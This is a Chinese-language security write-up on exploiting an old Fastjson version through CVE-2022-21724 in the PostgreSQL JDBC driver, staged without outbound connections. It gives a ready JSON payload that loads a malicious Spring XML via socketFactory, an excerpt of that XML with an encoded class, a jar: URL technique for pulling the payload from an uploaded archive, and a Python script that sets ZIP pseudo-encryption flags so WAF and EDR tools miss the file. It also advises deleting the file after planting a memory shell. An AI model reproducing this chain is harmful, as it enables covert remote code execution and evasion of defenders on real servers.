Fastjson + CVE-2022-21724 不出网利用:从jar协议到ZIP伪加密的实战研究

⚠️ 本文仅供安全研究与学习使用,严禁用于非法用途。攻击属于高度敏感的攻击方式,若未经授权实施,将可能违反法律法规,请在合法授权范围内进行测试与实践。

前言

在一次渗透测试中,碰到一个使用老版本 fastjson + PostgreSQL 的目标。常规的 JNDI 外连利用容易触发告警,于是围绕 CVE-2022-21724(PostgreSQL JDBC socketFactory 任意类实例化)展开研究,逐步探索了 HTTPS 替代、jar 协议嵌套、文件上传配合等不出网利用思路,最终引出 ZIP 伪加密在 JDK 中的行为差异,形成了一条相对隐蔽的利用链。

漏洞点

某个项目, 一开始是发现有fastjson1.1.41, 第一次见到这么老的版本, 并且由于tomcat版本不匹配也没有H2 c3p0啥的, 所以当时看下来是只能打JdbcRowSetImpl. 当然这肯定要出网的, EDR或者态势感知告警框框弹的, 不想触发告警所以就丢一边没管了.

后来偶然回想起它有些配置文件里用的是postgresql数据库, 结合之前在 https://forum.butian.net/share/1339 看到. 构造socketFactory, 利用支持解析并加载xml的类进行实例化, 去解析恶意xml,以实现RCE

再回去一看, 发现居然有postgresql-42.2.5.jar, 这下好了, 根据NVD披露的说法, 9.4.1208 <= org.postgresql:postgresql < 42.2.25 42.3.0 <= org.postgresql:postgresql < 42.3.2 的版本都可以打, 有新的链子可以打那就能进一步想办法利用了.

顺便一提, 用java-chains里面生成的payload不能打这种老版本, 需要一定修改

不出网利用?

显而易见的, 根据这个漏洞来分析, 至少文章的复现手法, 是需要出网的

1
2
3
4
{
"@type":"org.postgresql.xa.PGXADataSource",
"url":"jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8080/poc.xml"
}

需要指向一个http服务器, 那么https协议也许是一个比较好的测试点

https

把参数中的url替换为https协议, 使用webhook.site. 测试下来(针对可以出网的目标), 确实可以使用https出网发出请求. 假如我们能在高可信域名下控制一些直链文件, 再把payload中的url指向过去, 也许是一个比较好的思路, 一定程度上可以绕过监控

image-20260213143827537

文件上传点

巧合的是, 在研究这套系统时, 发现后台有一个点可以上传文件, 也就是说使指向127.0.0.1/path/to/file成为可能, 就可以不出网利用了.

然而比较麻烦的是, 上传文件这个东西本身就会要经过层层审查, 更何况整个xml的利用文件本身就含有挺多敏感字段的, 不能稳定过WAF.即使能过, 文件落地以后EDR也会查杀, 即使都不查杀事后溯源的时候也是一眼就能看出. 总之总体来说不是一个很好的选择, 动静还是有点大了. 由java-chains生成的springbeanxml类似于:

1
2
3
4
5
6
7
8
9
10
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
<property name="arguments">
<list>
<value>yv66vg......

所以经过一番查阅, 发现其实还有jar://协议可以使用

jar协议

Java的java.net.URL类通过URLStreamHandler机制来处理不同协议. jar: 协议在规范中就被定义为一个复合协议, 其语法是: jar:<任意合法URL>!/<entry路径>

jar协议的前半部分本身就是通过 new URL() 递归解析的, 所以它天然支持任何Java已注册的协议作为内层协议, 这里只是一个解压层, 即数据来源完全委托给内层协议. 所以这里理论上可以嵌套: jar:http://whoa.mi/inner.zip!/payload.xml

嵌套

springboot本身提供一种解析嵌套jar包的方法: jar:nested:/some/file.jar/!BOOT-INF/lib/nested.jar!/com/example/MyClass.class

虽然目标是Springboot应用, 但ClassPathXmlApplicationContext加载远程 XML 时使用的是标准 java.net.URL, 不是Springboot的 LaunchedURLClassLoader. Springboot的自定义jar Handler只在其自身类加载体系内生效. 所以以多个 !/ 在漏洞利用中无法工作,只能用单层 jar:http://whoa.mi/evil.zip!/payload.xml

利用

仅一层的压缩其实已经足够. 真正利用时肯定考虑在一个很多正常文件的压缩包内藏一个恶意payload, 每个文件都使用极限压缩, payload放在中间, 以压缩的形式存储转换为zip字节流后, 基本没有WAF可以定位到这个可疑的点, 在上传完文件并内存马打入后, 连上去并立刻删除这个文件即可. 已经可以做到非常完美的不出网利用了.

当时我想到这里, 又想起其实jar包就是一个zip包, 那么能否使用伪加密的形式来使其能进一步伪装呢?

伪加密

ZIP文件中有两个关键结构都包含一个 General Purpose Bit Flag 字段

  1. Local File Header(签名 PK\x03\x04)——标志位在偏移 +6 处(2字节)
  2. Central Directory Header(签名 PK\x01\x02)——标志位在偏移 +8 处(2字节)

正常加密的 ZIP,这两处的加密位都为 1,且文件数据经过了真实的加密处理。 伪加密的核心思路是:数据本身没有加密,但人为把标志位从 0 改成 1,让解压工具"以为"文件被加密了,从而提示需要密码。

对于伪加密的jar包, 在解压软件的视角和JDK的视角也许会不一样, 所以这里叫claude写了个脚本来测试, 受篇幅限制先给出测试结果, 再写一个简化的版本: 结果基于 JDK 21.0.9

ZIP 变体 jar: URL ZipFile ZipInputStream JarFile
normal.zip (无加密位) ✅ OK ✅ OK ✅ OK ✅ OK
fake_local_only (仅Local加密位) ✅ OK ✅ OK ❌ FAILED ✅ OK
fake_central_only (仅Central加密位) ❌ FAILED ❌ FAILED ✅ OK ❌ FAILED
fake_both (两者都设) ❌ FAILED ❌ FAILED ❌ FAILED ❌ FAILED
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import zipfile, struct, shutil

with zipfile.ZipFile("normal.zip", "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("evil.xml", open("payload.xml").read() if __import__("os").path.exists("payload.xml") else "<test>PAYLOAD</test>")

shutil.copy("normal.zip", "fake_local_only.zip")
with open("fake_local_only.zip", "r+b") as f:
data = bytearray(f.read())
pos = 0
while (idx := data.find(b'PK\x03\x04', pos)) != -1:
flag = struct.unpack_from('<H', data, idx+6)[0]
struct.pack_into('<H', data, idx+6, flag | 1)
pos = idx + 4
f.seek(0); f.write(data)

可以看出fake_local_only是最有利用价值的变体

只设置 Local File Header 的加密位, 不动 Central Directory. 原因在于 Java 的两套 ZIP 读取路径检查的 header 不同:

ZipFile / JarFile / jar: 协议

通过 Central Directory 定位和读取 entry, 只检查 Central Directory 的加密位. Local Header 的加密位被忽略 所以 fake_local_only → Central 是 CLEAR → 读取成功

ZipInputStream

顺序读取,先遇到 Local File Header, 检查 Local Header 的加密位 所以 fake_local_only → Local 是 SET → 读取失败